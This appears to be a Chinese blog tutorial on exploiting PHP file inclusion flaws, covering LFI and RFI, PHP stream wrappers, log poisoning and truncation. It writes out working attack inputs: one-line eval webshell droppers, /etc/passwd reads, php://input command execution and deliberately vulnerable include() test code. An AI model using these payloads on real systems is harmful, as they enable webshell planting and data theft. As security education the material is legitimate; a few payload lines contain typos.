文件包含总结(部分)

一、文件包含是什么?

文件包含漏洞:即File Inclusion,意思是文件包含(漏洞),是指当服务器开启allow_url_include选项时,就可以通过php的某些特性函数(include(),require()和include_once(),require_once())利用url去动态包含文件,此时如果没有对文件来源进行严格审查,就会导致任意文件读取或者任意命令执行。

攻击者利用了包含的特性,再加上了应用本身对文件控制不严,对include进来的文件不可控,最终造成了攻击者进行任意文件包含。包含进来的文件都以当前脚本文件解析,比如,我们当前测试系统是Apache加php环境,那么被include进来的文件,不管是什么类型,比如说图片,文本文档,这些文件被包含以后,都会被当做php脚本来解析

二、本地文件包含(LFI)和远程文件包含(RFI)

本地文件包含 当被包含的文件在服务器本地时,就形成本地文件包含;

远程文件包含 当被包含的文件在第三方服务器时,叫做远程文件包含

该漏洞涉及到php常见包含文件函数包括:

include() 

当使用该函数包含文件时,只有代码执行到include()函数时才将文件包含进来,发生错误时只给出一个警告,继续向下执行

include_once() 

功能和include()相同,区别在于当重复调用同一文件时,程序只调用一次

require() 

require()与include()的区别在于require()执行如果发生错误,函数会输出错误信息,并终止脚本的运行 。使用require()函数包含文件时,只要程序一执行,立即调用文件,而include()只有程序执行到函数时才调用 .require()在php程序执行前执行,会先读入 require 所指定引入的文件,使它变成 PHP 程序网页的一部份。

require_once() 

它的功能与require()相同,区别在于当重复调用同一文件时,程序只调用一次

三、文件包含利用

1.读取敏感文件

访问URL:http://www.test.com/index.php?page=/etc/passwd

如果目标主机文件存在,并且有相应的权限,那么就可以读出文件的内容。反之,就会得到一个类似于;open_basedir restriction in effect的警告。

2.远程包含Shell

如果目标主机allow_url_fopen选项是激活的,就可以尝试远程包含一句话木马, 如:http://www.test.com/echo.txt,

代码如下:

<?php fputs(fopen("shell.php","w"),"<?php eval($_POST[yale]);?>");?>

访问:http://www.example.com/index.php?page=http://www.test.com/echo.txt。将会在index.php所在的目录下生成shell.php,内容为:

<?php eval($_POST[xxser]);?>

3.本地包含配合文件上传

假设已经上传一句话图片木马到服务器,路径为:/uploadfile/xxx.jpg

图片代码如下:

<?php fputs(fopen("shell.php","w"),"<?php eval($_POSTyale]);?>");?>

访问URL:http://www.example.com/index.php?page=./uploadfile/xxx.jpg,包含这张图片,将会在index.php所在的目录下生成shell.php。

4.使用PHP封装协议

4.1 使用封装协议读取PHP文件

例子如下:http://www.example.com/index.php?page=php://filter/read=convert.base64-encode/resource=config.php

访问URL,得到经过Base64加密后的字符串,这段代码就是Base64加密过后的PHP源代码,解密后就可得到原本的“样貌”。

4.2 写入PHP文件

在allow_url_include为On时,构造URL:http://www.example.com/index.php?page=php://input,并且提交数据为:
<?php system('net user');?>

会得到net user命令的结果。

如果POST的数据是执行写入一句话木马的PHP代码,就会在当前目录下写入一个木马。

条件:php配置文件中需同时开启 allow_url_fopen 和 allow_url_include(PHP < 5.30),就可以造成任意代码执行,在这可以理解成远程文件包含漏洞(RFI),即POST过去PHP代码,即可执行;

<?PHP fputs(fopen('shell.php','w'),'<?php @eval($_POST[cmd])?>');?>

data://伪协议

数据流封装器,和php://相似都是利用了流的概念,将原本的include的文件流重定向到了用户可控制的输入流中,简单来说就是执行文件的包含方法包含了你的输入流,通过你输入payload来实现目的; data://text/plain;base64,dGhlIHVzZXIgaXMgYWRtaW4

data://(读取文件)

和php伪协议的input类似,碰到file_get_contents()来用; <?php // 打印 “I love PHP” echo file_get_contents(‘data://text/plain;base64,SSBsb3ZlIFBIUAo=’); ?>

注意:<?php phpinfo();,这类执行代码最后没有?>闭合;

如果php.ini里的allow_url_include=On(PHP < 5.3.0),就可以造成任意代码执行,同理在这就可以理解成远程文件包含漏洞(RFI) 测试代码:

<?php
    $filename  = $_GET['filename'];
    include($filename);
?>

phar://伪协议

这个参数是就是php解压缩包的一个函数,不管后缀是什么,都会当做压缩包来解压。

用法:?file=phar://压缩包/内部文件 phar://xxx.png/shell.php 注意: PHP > =5.3.0 压缩包需要是zip协议压缩,rar不行,将木马文件压缩后,改为其他任意格式的文件都可以正常使用。 步骤: 写一个一句话木马文件shell.php,然后用zip协议压缩为shell.zip,然后将后缀改为png等其他格式。

测试代码:

<?php
    $filename  = $_GET['filename'];
    include($filename);
?>

zip://伪协议

zip伪协议和phar协议类似,但是用法不一样。

用法:?file=zip://[压缩文件绝对路径]#[压缩文件内的子文件名] zip://xxx.png#shell.php。

条件: PHP > =5.3.0,注意在windows下测试要5.3.0<PHP<5.4 才可以 #在浏览器中要编码为%23,否则浏览器默认不会传输特殊字符。

测试代码:

<?php
    $filename  = $_GET['filename'];
    include($filename);
?>

5.包含Apache日志文件

Apache有两个日志文件:access.log(访问日志)和error.log(错误日志)。
攻击者先访问http://www.example.com/<?php phpinfo();?>,
操作这一步时,需要使用Burp抓包改包,否则<,>,空格都会被转码。
随后访问http://www.test.com/index.php?page=./…/Apache-20/logs/access.log,使用这种方式时,找到Apache的路径是关键。

6.截断包含

<?php

if(isset($_GET['page'])){

include $_GET['page'].".php";

}else{

include 'home.php';

}

?>

如果此时存在一个图片木马,名为1.jpg,

可以输入如下URL:http://www.example.com/index.php?page=1.jpg

当然这种方法只适用于magic_quotes_gpc=Off的情况下。

更多文章:

https://blog.csdn.net/qq_33020901/article/details/82684483

http://wiki.wooyun.org/web:lfi

PHP文件包含漏洞总结: http://drops.wooyun.org/tips/3827

文件包含与注入利用总结: https://www.91ri.org/2736.html

php://input,php://filter,data URI schema的那些事:
https://www.91ri.org/7470.html

phar协议: https://www.91ri.org/13363.html

论PHP常见的漏洞: http://drops.wooyun.org/papers/4544

LFI WITH PHPINFO() ASSISTANCE:
https://www.insomniasec.com/downloads/publications/LFI With PHPInfo Assistance.pdf

PHP_LFI_rfc1867_temporary_files:
http://gynvael.coldwind.pl/download.php?f=PHP_LFI_rfc1867_temporary_files.pdf

zip或phar协议包含文件
http://bl4ck.in/index.php/tricks/use-zip-or-phar-to-include-file.html

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章